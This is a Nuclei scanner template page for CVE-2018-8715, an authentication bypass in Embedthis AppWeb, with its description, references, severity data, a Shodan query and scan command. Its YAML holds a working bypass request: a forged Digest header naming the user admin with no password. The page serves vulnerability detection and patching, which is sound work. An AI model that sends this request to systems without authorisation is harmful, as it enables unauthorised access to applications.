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Nuclei Templates

AppWeb - Authentication Bypass

ID: CVE-2018-8715

Severity: high

Author: milo2012

Tags: cve,cve2018,appweb,auth-bypass,embedthis

Description

Section titled “Description”

The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.

YAML Source

Section titled “YAML Source”
id: CVE-2018-8715


info:
  name: AppWeb - Authentication Bypass
  author: milo2012
  severity: high
  description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
  remediation: |
    Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
  reference:
    - https://github.com/embedthis/appweb/issues/610
    - https://blogs.securiteam.com/index.php/archives/3676
    - https://security.paloaltonetworks.com/CVE-2018-8715
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8715
    - https://github.com/cyberharsh/appweb
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-8715
    cwe-id: CWE-287
    epss-score: 0.00927
    epss-percentile: 0.8261
    cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: embedthis
    product: appweb
    shodan-query: cpe:"cpe:2.3:a:embedthis:appweb"
  tags: cve,cve2018,appweb,auth-bypass,embedthis


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Digest username=admin


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a class="logo" href="https://embedthis.com/">&nbsp;</a>'


      - type: status
        status:
          - 200
# digest: 490a00463044022017de54a93f3cff5a92bfb78f9e203c21b4517e174ac04fc3e7df6c2842899f5c02204f4e0b1567bcaab4b98ef7f3e1c01cd2d40a1c66cc088bcd3e73cfc05c858ba0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-8715.yaml"

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